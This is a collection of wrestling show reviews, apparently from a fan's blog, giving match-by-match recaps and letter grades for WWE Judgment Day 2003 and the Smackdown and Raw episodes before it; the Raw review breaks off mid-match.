Judgment Day 2003
Date: May 18, 2003
Location: Charlotte Coliseum, Charlotte, North Carolina
Attendance: 13,000
Commentators: Michael Cole, Tazz, Jim Ross, Jerry Lawler

Let’s get this over with. I don’t remember a time when the TV leading up to a pay per view has been this miserable and the mere idea of this show is making me cringe. Sometimes a show can throw in a surprise or two but I can’t think of a single match that actually gives me hope on this one. Let’s get to it.

The opening video is a shot of gallows with kids reciting a rhyme about evil (it’s the same one from the Biker Taker vignettes). Basically everything leads us here and it ends tonight.

Here’s Steve Austin to open things up with an interview instead of a match. I’m so thrilled already. He’s not out here to run his mouth and waste your time because there’s a bunch of great matches tonight. Are we looking at the same card? Austin is going to watch in the crowd with the fans….in a sky box, with a bunch of beer. Lawler seems to think a sky box means sitting in the cheap seats as Austin gives Tazz a beer and heads into the crowd.

John Cena/FBI vs. Spanky/Chris Benoit/Rhyno

Cena says that being he’s with the FBI giving out black eyes, he’ll have the people cheering the bad guys. It’s Palumbo/Stamboli with Cena here as this is a bonus match. Spanky dives onto everyone but gets decked by Cena as we start fast. Cole says he knows all about rapping because he’s a shoelace. The FBI plants Spanky with a double slam and cranks on his legs for good measure.

Palumbo slaps on a bearhug as Tazz and Cole discuss beer. A hard clothesline cuts Spanky off but he headscissors Palumbo into Stamboli. That’s enough for the hot tag to Benoit, meaning it’s time for the German suplexes. Nunzio comes in and eats a Gore but he’s still able to break up Sliced Bread #2. The distraction is enough for Stamboli and Palumbo to hit the Kiss of Death (Demolition Decapitator with a legdrop instead of an elbow) for the pin.

Rating: D. The match was energetic while it lasted but that’s the problem: it wasn’t even four minutes long. Why in the world did we need a pay per view opener that lasts as long as a TV match? The people involved in this match deserve a little more than this, though at least they were on the pay per view card.

Austin is in the sky box having a woman make him a hot dog when Eric Bischoff comes in. Everything they have is split between them so Austin gives him the hot dog. Bischoff is annoyed that there’s no scotch so he’ll have a beer. In a glass that is, which Austin doesn’t appreciate.

We recap La Resistance vs. Test/Scott Steiner, which is all about the Iraq War and how horrible you are if you don’t completely support it.

Test/Scott Steiner vs. La Resistance

Test and Rene Dupree slug it out to start until a backdrop puts Rene down. It’s off to Steiner for some more aggressive offense, including a push-up elbow. Dupree sends him outside though and Sylvan Grenier drives him back first into the apron. The announcers debate France vs. America as Grenier’s chinlock doesn’t get him very far. A middle rope clothesline gives Grenier two but Steiner suplexes his way to AMERICAN freedom.

The hot tag brings in Test to clean house to silence. Test steals the beret and gets rolled up for two as everything breaks down. The pumphandle slam plants Rene but Stacy Keibler gets on the apron for no logical reason. Dupree dropkicks Test into Stacy, who lands in Steiner’s arms. After putting Stacy down, Steiner tags himself in for the reverse DDT on Dupree for no cover. Test boots Steiner by mistake and gets sent outside, leaving Steiner to take the double spinebuster for the pin.

Rating: D. Another TV match here but in this case keeping it short was the right idea. This feud isn’t interesting and Test vs. Steiner isn’t likely to be much better. Fighting over Stacy is fine, but it would be better if they could have anything resembling a good match. The tag division needs La Resistance though, even if they’re not all that interesting of a team.

Stacy stays behind to check on Steiner.

Mr. America arrives and runs into Gregory Helms, who has been told that he’s Hulk Hogan. America’s sources have told him that Helms is really the Hurricane. They agree that their sources are idiots. Clever idea but it’s hard to buy Hogan’s push meaning much when he’s having a match with Roddy Piper.

Eddie Guerrero has found a replacement partner for the injured Chavo. It’s Tajiri, who gets a gold medal and knows that they lie, cheat and steal.

Tag Team Titles: Team Angle vs. Eddie Guerrero/Tajiri

Eddie and Tajiri are challenging in a ladder match. The brawl starts in the aisle as the champs aren’t happy with Eddie destroying their framed picture of Angle earlier in the week. Eddie gets sent into the ladder, leaving Tajiri to get double teamed inside. A gorilla press drop onto Haas’ knee has Eddie in more trouble and it’s time for another ladder. Tajiri seems to mess up a dive over the top so Eddie dives over the top onto Shelton to get the focus back.

The champs go for the belts but Tajiri breaks it up with the handspring elbow. Haas gets crotched by the ladder in the corner and it’s time for a second ladder. Shelton pulls Tajiri off the ladder, sending him face first into one of the rungs for a scary looking crash. Thankfully he’s ok, though Eddie isn’t quite as good thanks to a powerslam into the ladder in the corner. In a creative spot, Haas puts Tajiri across a ladder and bridges it over the top, leaving Shelton to jump off the ladder, over Haas, and onto Tajiri’s back.

Eddie has to make a save with Haas falling out to the floor in a heap but then wedges the ladder in the corner instead of going up. Naturally he gets sent into the ladder for his efforts, satisfying wrestling rule #3. Tajiri is back up with the hard kicks to the face and he runs them over with the ladder for good measure. The Tarantula has Haas in trouble but it’s Shelton making the save with a shot from the ladder.

Back in and the champs beat on Eddie but Shelton gets monkey flipped into the ladder into Haas to put everyone down again. Eddie sends Benjamin outside but the champs are back up for the save. Benjamin is knocked right back down, only to have Eddie frog splash him instead of going for the belts for no apparent reason. Charlie and Eddie go up and this time it’s a sunset bomb to bring Haas right back down. Tajiri is finally back up to mist Shelton, allowing Eddie to pull down the titles for the win.

Rating: B-. Good though not a great match here. This would have been a much better match with Chavo involved (As in it would have made more sense. Tajiri’s work was fine.) but as it is, it feels kind of thrown together. That’s not on the wrestlers of course, but at least they made it work as well as they could.

Bischoff and Austin think they should sign Eddie but Austin makes Bischoff eat a hamburger and have another beer. Hang on though as Austin has to make fun of the way Eric drinks, including opening the box to get the crowd even more on his side. This eats up way too much time.

Chris Jericho thinks he’ll win the Intercontinental Title when Roddy Piper comes in to make fun of him. They insult each other’s talk shows and Chris brings up Piper ripping the kid’s leg off on Thursday. That was an accident though, just like Jericho being born. They both promise to win their matches tonight and that’s about it.

We get a very nice video on the history of the Intercontinental Title before the battle royal to bring it back. They cover a good chunk of the title’s history and show off some great moments. As usual, WWE knows how to do its history well.

Intercontinental Title: Battle Royal

Booker T., Christian, Lance Storm, Chris Jericho, Goldust, Kane, Val Venis, Test, Rob Van Dam

The title is vacant coming in and only Booker isn’t a former champion. Naturally, Pat Patterson gets to come out and hold up the title. And yes it’s Venis, as the Chief Morely gimmick is officially gone. After some VERY long entrances, we’re ready to go. Everyone goes after Kane to start (well duh) but he shrugs them off without much effort and gets rid of Storm. With Van Dam down, the others are able to get rid of Kane but he comes back in to beat everyone up.

Booker is up first and dumps Test, followed by Goldust doing the same to Venis. Jericho tosses Van Dam and we’re down to Christian, Goldust, Booker and Jericho in about two minutes. Then why not just do a four way for the title? It turns into a glorified tag match with the good guys fighting back so Goldust can hit Shattered Dreams on both guys. Booker does a Spinarooni to celebrate but Goldust tries an elimination. That’s fine with Booker, who dumps him out without too much trouble.

That leaves Booker and the Canadians and the double teaming is on in a hurry. Booker fights off an elimination attempt though and throws Jericho over, only to have him skin the cat in an always impressive move. Back in and the now bloody (not bad) Jericho forearms Booker down but Christian shoves him over the top during a Lionsault attempt.

Booker kicks Christian down and scores with a flapjack but the referee gets bumped. If you can’t book a nine man battle royal without a ref bump, you might just kind of suck at your job. As you might expect, Booker dumps Christian but no one sees it, leaving Christian to deck Patterson. Booker gets belted as well and Christian tosses him to win the title. As you might expect, Austin does nothing to fix this and the fans’ chants for GOLDBERG go unrequited.

Rating: D. That ending actually made my head hurt. How in the world do you overbook a battle royal that doesn’t even last twelve minutes? Christian winning is fine, but there are other ways you can make it work. Have he and Jericho as the final two and then have Christian dump Jericho out. That’s not even cheating but makes him look like a villain at the same time. Why is that so complicated?

Sable and Torrie get catty before the bikini contest. I think this is supposed to be Sable hitting on her again. If Sable wants one of the Divas this badly, go after Dawn Marie who seems to be more into it.

We recap Sable vs. Torrie, which is as obvious of an idea as you can get.

Tazz is hosting, which is only slightly better than Lawler. Lillian Garcia sings Torrie to the ring as they’re putting a little too much thought and effort into this. She sings the chorus three times as this is going on WAY too long already. Anyway, both get fifteen seconds to disrobe and gyrate.

They both do their thing and the fans say it’s a tie, even though Sable’s reaction was clearly louder. The fact that her swimsuit was smaller has no bearing on this at all I assure you. Actually hang on though as Sable takes off the swimsuit she’s wearing to reveal a smaller one, which is enough for Tazz to give her the win. Torrie gives Sable a rather passionless kiss to end things.

Austin torments Bischoff with more food and beer.

Piper rants to Sean O’Haire about Jericho when Vince McMahon comes in. Roddy better be ready because it’s a big night for the boss. Without Piper there would be no Hogan and now Piper is the epitome of ruthless aggression.

We look at Piper attacking the fan who Mr. America had waving the flag, resulting in the fan’s artificial leg being ripped off. Piper seemed upset but Vince didn’t buy it, which was all the proof he needed to send Piper after America’s mask. As usual, there is so much wrong/stupid about that idea, I don’t even know where to start so we’ll move on.

Roddy Piper vs. Mr. America

America brings out a chair, presumably to counteract Sean. Actually it’s for Zack Gowen, the fan whose leg was ripped off. So to clarify: this story is now about Vince, Stephanie, Piper, Mr. America and Gowen. After those five people is Sean O’Haire, whose lone match in this whole thing was a less than five minute match with Rikishi, where Piper had to help him win. And people wonder why this period is so loathed. America gets double teamed to start until Sean is sent outside.

Some right hands get America out of trouble and as the referee yells at O’Haire, the mask comes up to bite Piper. So I’m assuming Vince isn’t watching the match and can’t see 90% of Hogan’s face there? O’Haire pulls America to the floor for some right hands, allowing Piper to whip him with the weightlifting belt. We hit a terrible sleeper until it’s time to America up. The big boot connects but here’s Vince so Piper can get in a low blow. O’Haire brings in a pipe but hits Piper instead, setting up the legdrop to give America the pin as Gowen holds Vince back.

Rating: F. Of course it was terrible but at least they kept it fairly short. As anyone could have guessed at the beginning of this thing though, it’s not doing anyone other than Hogan and Vince any good. Unfortunately that includes O’Haire, who has gone from what should be a can’t miss prospect to a bumbling lackey who can’t do anything right.

Stephanie McMahon tells HHH to be careful.

We recap HHH vs. Kevin Nash, which is over Nash coming back and not liking HHH and Shawn Michaels fighting. HHH then attacked Nash for not picking the right side and we have a World Title match as a result, despite Nash making Roman Reigns like Hogan in the 80s.

Raw World Title: HHH vs. Kevin Nash

HHH is defending and Ric Flair and Shawn Michaels are the seconds. I’m not sure who was thinking it’s a good idea to have Flair come out in his own entrance in Charlotte if they want Nash to be cheered but this show has bigger problems to deal with. The brawl is on in the aisle before the bell with Shawn and Flair fighting to the back. I doubt we’ll be seeing them again.

Nash and HHH slug it out on the floor with the bell ringing shortly thereafter. A backdrop has the champ in early trouble as JR is already saying this isn’t going to be the highest quality match. Nash hits a big forearm and flips the hair so you know it’s serious. HHH finally gets in a neckbreaker to get us up to about five moves in the first three minutes. Nash is back with more right hands and a shove to the referee, who pulls him off by the hair. He’ll never referee in this town again.

HHH gives us the required ref bump and a low blow before taking the turnbuckle pad off. Nash comes back with the usual but gets sent into the exposed buckle. The Pedigree gets two with the kickout earning a slightly disturbing positive reaction. A backdrop puts HHH on the floor and he comes back in with the sledgehammer to knock the referee down for the DQ.

Rating: F+. Only because it was slightly more watchable than Hogan vs. Piper. The match didn’t even last as long as their brawl a few weeks back and now the feud gets to keep going because they’re friends. Nash showed that he was washed up in 1999 and has only gotten worse in the years since. It was as bad as you would expect and a World Title match going less than eight minutes on pay per view is pretty unacceptable.

Nash beats up HHH because THIS MUST CONTINUE. He grabs the hammer and stalks HHH up the aisle, setting up a Jackknife through the announcers’ table.

Austin makes Bischoff eat jalapenos and vomiting ensues.

Women’s Title: Jazz vs. Victoria vs. Trish Stratus vs. Jacqueline

Jazz is defending and this is one fall to a finish. It’s a brawl to start until the villains are sent outside, leaving Trish to counter an early wristlock. Victoria and Jazz come back in with with the champ hitting some double chickenwing facebusters. Trish gets caught in the STF and Jacqueline puts Victoria in the half crab at the same time.

It’s Trish getting to the rope first so Jazz can kick Jacqueline for the save. After a Matrish to avoid a clothesline (Lawler: “Trish just got reloaded!”), the Chick Kick gets two on Jazz. The Stratusfaction is broken up with Trish being thrown over the top and landing face first on the floor in a scary crash. Back in and Jacqueline suplexes Victoria, only to get DDT’d to retain Jazz’s title.

Rating: D. That Trish landing looked great (and rather scary) but the time and a lack of a story killed whatever they could do here. What are you supposed to get out of a sub five minute match that you could probably see on Raw? The division is still dying for some fresh blood as these four can only fight so long. We passed that point months ago but it’s still the same lineup every month.

Trish has a cut lip and stares at Jazz, again meaning this must continue.

We recap the main event. Big Show attacked Rey Mysterio at Backlash so tonight it’s Brock Lesnar standing up to the monster in a stretcher match.

Smackdown World Title: Brock Lesnar vs. Big Show

Lesnar is defending and you have to put your opponent on the stretcher and get it over the finish line. During the entrances, Cole mentions that this is the first stretcher match in the company in 17 years since Andre the Giant vs. Killer Khan in 1986. You really would think he would get it right after all these weeks but alas, Cole isn’t that bright (it was 1981). Also, Show brings a stretcher backboard with him with Mysterio, Benoit and Lesnar written on the back. Only Mysterio’s name is crossed off, making Show look even lamer than usual.

Lesnar wastes no time in taking over and hitting Show with the board to knock him outside. A few more shots have Show in trouble and Brock sends him into the board, which is in front of the post. Show is back up and drops him across the stretcher before hitting Brock in the back with the backboard. A chokeslam plants Lesnar in the ring as I wonder why there’s a referee inside with them.

Show drops a leg onto Lesnar onto the board and it’s stretcher time. The champ kicks his way off though and a few backboard shots has Show in trouble. Some choking with a camera cord and Lesnar puts Show on the stretcher as the announcers say it can’t be done. Seriously it’s not that big of a deal. Show fights out again so Lesnar rams the stretcher into his ribs.

A tug of war goes to Show….and he throws the stretcher down and puts its pad on another stretcher. More backboard (albeit from a different backboard) have Lesnar in trouble as this just keeps going. Back up and Brock knocks him off the apron and onto/back off of the stretcher. As Cole incorrectly says the first WWE Champion was crowned forty years ago yesterday (it was forty years ago yesterday that Bruno won the title to become the second champion), Rey Mysterio comes out to distracts Show.

The distraction lets Brock drive a freaking forklift into the arena and dive off the thing with a crossbody/clothesline. A suplex into the F5 (more of an AA) allow Lesnar to throw him onto the forklift (Why can’t he just put him onto the stretcher then?) and wheel him across the finish line to retain.

Rating: D+. This could have been a lot worse and it needed about five minutes cut out but it was a watchable enough main event. The problem here was the stretcher rule was completely tacked on and Show only having one of the three names crossed off made me shake my head. They should have done a last man standing match here or something like that, though it’s not terrible or anything.

Overall Rating: D-. Yeah this really didn’t work in the slightest. The ladder match was good and the main event was watchable but everything else was anywhere from terrible to a disaster. Aside from the America vs. Piper match and the awful World Title match, everything on here felt either unimportant or worth your time. Nothing on here felt like it needed to be on a pay per view and that scares the heck out of me considering the single branded shows start in June. Really bad here and that’s not surprising when you consider the TV leading up to it.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

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Smackdown
Date: May 15, 2003
Location: 1^st Mariner Arena, Baltimore, Maryland
Commentators: Michael Cole, Tazz

It’s the go home show for Judgment Day and I have my notebook ready for all the questions I have regarding the Mr. America storyline. Given how little sense the whole thing makes if you listen to what everyone says, I’m likely to leave far more confused than I was when I came in. Let’s get to it.

Opening sequence.

Vince McMahon opens things up and he’s SURE who Mr. America is. No one could possibly question the fact that Mr. America is Hulk Hogan. See, Mr. America doesn’t uphold traditional American values because he’s deceiving everyone around here. After pausing for the WHAT chants, Vince complains about Hogan getting two checks (which would likely be signed by Vince himself, making me wonder who he signs American’s checks to) and on top of that, Mr. America doesn’t care that he batters women.

We see a clip of America knocking Vince into Stephanie, though Vince blames her for it just as much. He’s not going to deal with Hogan himself though because we’re having an open contract at Judgment Day with someone getting to deal with Hogan him/themselves. Cue the FBI of all people with Nunzio offering their services to deal with Mr. America. He even has a video resume of their greatest hits and Johnny promises to be on Hogan like baked on ziti. They’ll go talk about it over coffee while Palumbo has a match.

This was WAY too long and really just established that America will have a match on Sunday and the FBI of all people are getting involved. The FBI isn’t interesting and are just a step above a Three Stooges sketch. Ignoring the fact that they might make for a better match for Mr. American than Vince or Roddy Piper, this was a really long waste of time.

Chuck Palumbo vs. Rikishi

Palumbo stomps away in the corner but accidentally hits Johnny in the face. A belly to belly gives Rikishi two but Johnny trips him up again. The superkick gives Palumbo two, only to have Rikishi’s version knock him into the corner. Johnny breaks up the Stinkface and gets pulled inside, allowing Palumbo to hit a second superkick (in just over three minutes) for the pin.

Rating: D-. So Rikishi is now dealing with the FBI and having bad matches at the same time. At least it’s better than wasting people like Chris Benoit on them, though it would be nice if Benoit actually had anything interesting to do at the moment. At least he wouldn’t use three superkicks in the same match. He’s not a Young Buck after all.

Post match Brock Lesnar arrives and comes to the ring to give Palumbo an F5 in retaliation for last week.

Stephanie cuts Brock off in the back and explains a stretcher match to him in that classic Stephanie style of speech that no one ever uses in the real world. I know most wrestlers do that but no one can make it sound as robotic as she can.

Mr. America visited some wounded troops.

Torrie Wilson comes out to show us one bikini she’s considering for Sunday. As usual she looks great but I still don’t know why I’m supposed to want to pay to see her in another one when she’s in Playboy at the moment.

Stephanie is admiring two sets of flowers (one red and yellow, the other red and white) when Vince comes in. He would have gotten Mr. America’s mask off last week if not for her screwing up so he accepts her apology. She’s not apologizing though because she’s gotten flowers from Hogan and America. Stephanie is leaving because Vince has everything under control tonight. Vince breaks both vases.

Clip of Rey Mysterio being injured at Backlash. He’s back for an interview tonight.

Cruiserweight Title: Matt Hardy vs. Tajiri

Matt, who thinks Tajiri weighs too much to be a cruiserweight and can eat more sushi than him, is defending with Shannon Moore and Crash in his corner. Tajiri snapmares him down to start but gets jumped from behind. The kicks have Matt in trouble but Tajiri has to deal with Shannon, allowing Matt to hang him over the top rope. The Side Effect sets up an abdominal stretch from the champ, only to have Tajiri kick him down again. Rapid fire strikes have Matt in trouble and there’s the handspring elbow for good measure. Crash breaks up the Tarantula though and it’s the Twist of Fate to retain Matt’s title.

Rating: D+. Perfectly fine match here but there’s only so much you can do with four minutes and three people fighting Tajiri at the same time. Tajiri continues to be one of the most consistent guys on the roster and could do a lot more if he was given the chance. At least he did well while he was out there.

Matt says he has the Mattributes to take care of Mr. America because that story is now invading the cruiserweights.

Eddie Guerrero, wearing the gold medal, is talking to a framed Kurt Angle photo and talks about Chavo being injured in a match overseas. There’s no reason to worry though because he’s Latino Heat. He even puts a mustache and beard on Angle’s face.

Stephanie runs into Mr. America as she’s leaving and asks him to thank Hogan for him. She even throws in a kiss on the cheek.

John Cena vs. Chris Benoit

Cena wants to face Mr. America so he can turn him back into the Hulk so quick you’ll think his name is Bill Bixby. As for Benoit, instead of the Canadian Crippler, he’ll be the crippled Canadian. Benoit wastes no time in driving him into the corner before getting one off a backbreaker. A heck of a chop has Cena clutching his chest but he’s still able to send Benoit shoulder first into the post. The ensuing armbar makes sense but Benoit is right back up with a chop and a snap suplex.

Cue the FBI to distract Benoit so Cena can knock him outside, earning themselves a quick ejection. Back from a break with Cena holding a chinlock and getting two off a shoulder. Cena stomps on the leg but gets sent into the middle buckle off a drop toehold. There’s the first German suplex into the Swan Dive but Nunzio runs in. Benoit gets rid of him in a hurry and reverses the FU into the Crossface, only to have Johnny the Bull come in for the DQ.

Rating: C. What does it say that this is pretty easily the best match I’ve seen on WWE TV this week? Above all else, it’s two guys having a match and actually trying for a change, which is a lot more than you can say about almost anything that happens on Raw. Is it that much to ask for some effort in these matches?

Rhyno and Spanky come in to help Benoit clean house.

Video on the UK tour.

It’s time for Piper’s Pit with Sean O’Haire backing Piper again. Piper talks about the contract because this is the biggest story in the world at the moment. Some people want to collect the bounty for their careers and some people want to do it to suck up to Vince. Well Piper is going to do it because he hates Hogan.

This brings out Mr. America, who hands the flag to a guy in the front row, which sounds like a plot point. America gets why Piper has issues with Hogan because he remembers Hogan beating Piper up when he was a kid. He’s cool with the match with Piper because I guess Mr. America gets to decide who collects bounties on him. Piper says Hogan has never beaten him 1-2-3 (yes he has) and goes on a rant about the kid waving the flag. Sean goes outside to deal with the kid, allowing Piper to jump America from behind.

America fights back but Sean makes the save, only to have the fan jump the barricade and prevent the mask from being taken off. A spear takes the fan down and Piper chokes away, only to yank off his artificial leg. That freaks Piper out and the villains leave. Oh don’t worry about it. Nash did it on purpose in 1996 and he’s main eventing the pay per view on Sunday. Sean even yells at Piper because cheating on your wife or whatever his thing of the week was ok but attacking an adult fan who jumped you from behind? Not cool bro.

After the entrances to the next match, Vince yells at Piper and O’Haire for messing with a fan like that. Sean: “Mr. McMahon, I had nothing to do with this.” YOU SPEARED HIM DOWN SO PIPER COULD BEAT HIM UP! Vince tells them to stay there while he makes up his mind about what he’s going to do. Piper stands there, which is way out of character for him. Vince leaves and Sean blames Piper for what happened because his career is on the line.

Shelton Benjamin vs. Eddie Guerrero

Eddie has the picture of Angle and comes out in a sombrero. Shelton takes Eddie down and yells a lot before hitting a forearm to the face. A chinlock slows things down but Eddie is right back up with a middle rope hurricanrana. One heck of a powerbomb plants Eddie for two but also kickstarts his comeback with a couple of dropkicks. Right hands in the corner set up the rolling suplexes but here’s Charlie Haas with a ladder. The distraction lets Shelton hit a superkick for the pin. That’s totally different than the finish to the opener. This one had a ladder you see.

Rating: D+. Not enough time to mean anything and having the same finish used in two out of four matches is about as pitiful as you can get. Agents should be smarter than that and able to come up with a better finish. If nothing else just ask Eddie what he thinks would work here, as I’m sure he can come up with something other than distraction into a superkick.

Eddie fights them both off and busts the picture over Shelton’s head.

Piper and O’Haire haven’t moved when Vince comes back in. He buys Sean caring about what happened (as the most interesting part of his character is erased) but Piper doesn’t care at all. That’s just what Vince wants though and that’s why he’s facing Hogan on Sunday. My goodness they’re actually going there and Vince is actually saying Piper is better than John Cena, the Cruiserweight Champion (and his minions) or the FBI. And people wonder why the future was so bleak.

And now, the Miss Elizabeth piece from Confidential. She passed away from a cause that wasn’t determined yet (because it was less than two weeks ago when this aired) and Vince says she was just a commodity in WCW. They talk about her career, the battery charges from Lex Luger, and then her death. In probably the lowest point since….oh I’d think the Melanie Pillman interview, we hear the actual 911 call of Luger saying she wasn’t breathing. I’m not even sure how to respond to that so we’ll move on. This is of course edited off the Network version.

And now, after hearing a 911 call of a woman dying earlier in the month, Sable comes out and shows off her own bikini. Now pay up if you want to see it again!

Pay per view rundown.

It’s time for the Mysterio interview. First of all, he’ll be back in the ring in a few weeks and he wants the Cruiserweight Title. He didn’t think he’d be able to wrestle again and he wondered if that was it when he was laying in the ambulance. Rey isn’t sure about ever facing Big Show again….and Big Show kidnaps him.

Post break Show brings Rey out to the ring while carrying a backboard in the other hand. Rey tries to fight back and manages a 619, only to get caught in something like a Samoan drop. Lesnar runs out to save Rey from the chokeslam and beats Show down with the board. The F5 connects but Tazz sees a problem: Show is too big to be put on a stretcher! HOW WILL BROCK SURVIVE??? Rey adds in a bulldog to drop Show and then hides behind Brock to end the show.

Overall Rating: D. I only have one question this week: how did the Mr. America storyline manage to take over even more of the show??? Lesnar vs. Big Show isn’t interesting but I’ll take it over America vs. Piper and Vince running down most of his heels to say that Piper is the best option he has to take Hogan out. There was some passable wrestling on the show this week but the stories are just killing anything that might be seen as positive. Another bad show this week as Mr. America vs. Vince is swallowing the show alive.

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Monday Night Raw
Date: May 12, 2003
Location: First Union Center, Philadelphia, Pennsylvania
Commentators: Jim Ross, Jerry Lawler

It’s the final Raw before Judgment Day and the big matches are Goldberg vs. Christian inside a cage and Chris Jericho vs. Kevin Nash. Both of these matches are Steve Austin’s ideas, which makes me think that Austin might want to stick to the being retired thing as he’s not the best match maker in the world. Let’s get to it.

Austin’s picture now appears after Bischoff’s in a funny visual.

Christian is inside the cage to start things off, saying that this match doesn’t need to be taking place. No one wants to see the new People’s Champ get battered and bruised. On top of that, he has an important photo shoot tomorrow and shouldn’t come in all banged up. This brings out Austin to say there’s nothing like the feeling of a good old steel cage. Goldberg isn’t even here yet and the match is still on.

Christian saw Austin in the back earlier and was told he was on first. It was actually a different finger and Austin repeats it here. Christian thinks Austin might be jealous of Christian being friends with the Rock because it was Rock who beat Austin at Wrestlemania. We get Austin’s new “I’m trying very hard not to lose my patience” line which isn’t working for him as a new catchphrase.

Instead, he threatens to take Christian out of the Intercontinental Title battle royal but Rob Van Dam interrupts. Rob is going to be in the battle royal but Christian thinks Rob should fight Goldberg instead. That’s not cool with Austin so Christian asks the fans for a CHRISTIAN RULES chant. Austin: “That silence means you suck.” He’s not cool with his material being ripped off and threatens a Stunner as well.

This brings out Kane to enter as well, though Rob threatens to eliminate him to win the title. Austin likes the tension and thinks the way to cure it is another beer bash. Now it’s Bischoff coming out to interrupt because there won’t be a beer bash tonight. Instead he has some challenges for Van Dam and Kane’s Tag Team Titles.

Tag Team Titles: Rob Van Dam/Kane vs. Legion of Doom

As a huge Legion of Doom fan, I remember this one rather fondly. Animal kicks Rob into the corner to start but gets monkey flipped for his efforts. Hawk comes in and gets kicked in the face, only to come back with a hard clothesline. Another kick allows the hot tag to Kane as house is cleaned in a hurry. The top rope clothesline drops Hawk and Rolling Thunder connects as well. Animal makes the save and loads up the Doomsday Device but Rob ducks the clothesline. A chokeslam into the Five Star puts Hawk away.

Victoria and Steven Richards threaten to take away Trish’s looks in their hardcore match tonight.

We get the short version of last week’s way too long brawl between HHH and Kevin Nash.

Chris Jericho and HHH insult Philadelphia sports teams and discuss torn quadriceps. HHH says Jericho skyrocketed to the top of the wrestling world because he tore HHH’s quad. I really don’t know how to respond to that. Anyway HHH wants Jericho to injure Nash tonight.

Goldberg arrives in a long black limo. That’s so out of character for him. Someone tries to run him over but only hits the door.

Teddy Long tries to talk Austin into giving Rodney Mack a spot in the battle royal. You need a man of color in there. Austin agrees and gives Booker T. the spot instead.

Rodney Mack vs. Ken Phoenix/Mike Phoenix

This is a DOUBLE White Boy Challenge. Ken is better known as Kenny Dykstra/Doane (17 years old here) and Mike is his real life brother. Mack throws them around to start and plants Mike with an STO. A cobra clutch knocks Ken out but Mack throws him down before the match is stopped. The second cobra clutch on Mike is good for the quick tap.

Bischoff has no comment on the Goldberg incident but runs into Freddie Blassie of all people. Freddie is here to plug his new book and calls Bischoff a rather rude name. Rico comes in to ask if Bischoff has any ideas to fix 3 Minute Warning. Bischoff has an idea and sends Rico off. He tells Blassie to meet him inside for something he has in mind. Blassie: “What are you going to do? Hang yourself?”

Austin comes up to a livid Goldberg and asks what’s up. He knows what it’s like to be hit by a car and asks if Goldberg saw the driver. Goldberg didn’t but he’ll take it out on Christian.

Blassie comes out but Bischoff cuts off the big introduction and sends Mrs. Blassie to the back. Eric plugs the book and asks Blassie how old he is. Freddie says 23 but Bischoff thinks Blassie has about three more minutes. Bischoff wheels him to the ring where Rico and the Samoans are waiting. This brings out Austin to say one of his new big ideas is to unsuspend the Dudleys.

Dudley Boyz vs. 3 Minute Warning

The bell rings which would suggest a match but there’s no referee so that doesn’t seem to mean anything. 3 Minute Warning is quickly dispatched and Freddie says get the tables. One 3D through a table to Rico later and beer is consumed. That feels like them just bailing out on a story that wasn’t working and I’m perfectly fine with that.

Christian vs. Goldberg

Inside a cage and Christian brings a chair for protection. It turns out to be the same chair that Rock used to beat Goldberg down a few weeks back. Christian throws the chair at him which goes as well as you would expect. The beating is on in a hurry as Goldberg slowly starts taking him apart. Some chair shots get Christian out of trouble but he can’t get over the top just yet.

Christian misses a spear of his own and he bounces off the cage so Goldberg can slowly walk around some more. One heck of a cut has blood flowing down Christian’s head and a powerslam makes things even worse for him. The spear and Jackhammer end Christian without too much effort.

Rating: D+. Christian’s cut looked good and Goldberg was more like himself than usual here but it wasn’t even seven minutes long and there was no reason for this to be a cage match. It’s not a bad match or anything but Goldberg is just nothing in WWE at this point and this didn’t make it any better.

Flair sucks up to Austin and reminds him that HHH runs Raw. Austin isn’t convinced so here’s Hurricane to sing Kevin Nash’s praises. Ric yells but Austin tells him to shut up. Let’s have a match right now, starting in the back.

Ric Flair vs. Hurricane

You know Flair isn’t going to wait to sucker punch Hurricane and the fight is on in a hurry. They slug it out for a few seconds before heading into the arena with Hurricane being knocked over the announcers’ table. The fight heads to the ring and Flair’s pants come down because that’s always funny (allegedly). A backdrop and a high crossbody give Hurricane two and there’s a chokeslam for good measure. Hurricane adds a strut and the Shining Wizard for a close two. Flair gets in the chop block though and a Figure Four puts Hurricane away.

Rating: D+. I could have gone without Flair’s pants going down but the match was pretty much exactly what you would expect. I’m not sure what the point is in having Hurricane, in gear, losing clean to Flair in street clothes but they’ve done dumber things as of late. It’s hard to get annoyed at Flair winning though as it’s hardly an important match.

Post match HHH has to come in and make Flair break the hold, followed by a Pedigree to Hurricane.

Scott Steiner/Test/Goldust vs. La Resistance/Christopher Nowinski

Before the match, the French guys rip on America for being war mongers and claim Nowinski is the exception to the rule. The brawl is on in the aisle until it’s Test hammering on Grenier in the corner. Goldust comes in for an atomic drop and a powerslam before handing it off to Steiner. The pushup elbow wakes the crowd up a bit and it’s back to Test, who gets beaten down in short order. Nowinski grabs the armbar for a few seconds before it’s back to Steiner as everything breaks down. Goldust cleans house and it’s the reverse DDT to end Nowinski.

Rating: D. In a word, this story sucks. Test and Steiner aren’t interesting as a team and La Resistance is as simple of an evil foreigner team as you can find. It doesn’t help that you can pretty much guarantee that the French guys are going to be Tag Team Champions soon enough, just for the sake of pushing the anti-Iraq War stuff a little while longer.

We run down the pay per view card. This looks really bad.

Jericho doesn’t think much of Goldberg but on Sunday, he’ll become Intercontinental Champion again. Tonight though, he’ll take care of Kevin Nash.

Trish Stratus vs. Victoria

Hardcore match in Philadelphia so here’s Tommy Dreamer to cancel out Steven Richards. Trish forearms away to start and goes to the weapons but has to sunset flip her way out of trouble instead. Victoria finds a cookie sheet and they mess up a spot where Trish tries to kick it into her face. That’s fine as they just pop up and do it again, making things look even worse the second time. Victoria is right back with the spinning side slam but Trish Matrixes away from a trashcan lid shot.

The Chick Kick knocks the lid into Victoria’s face but she comes back with a leather strap for whipping and choking. Naturally, JR talks about bondage magazines. Victoria chokes her in the corner but gets taken down by a hurricanrana. The guys get in fight on the floor, leaving Trish to score with a kendo stick shot, followed by Stratusfaction for the pin.

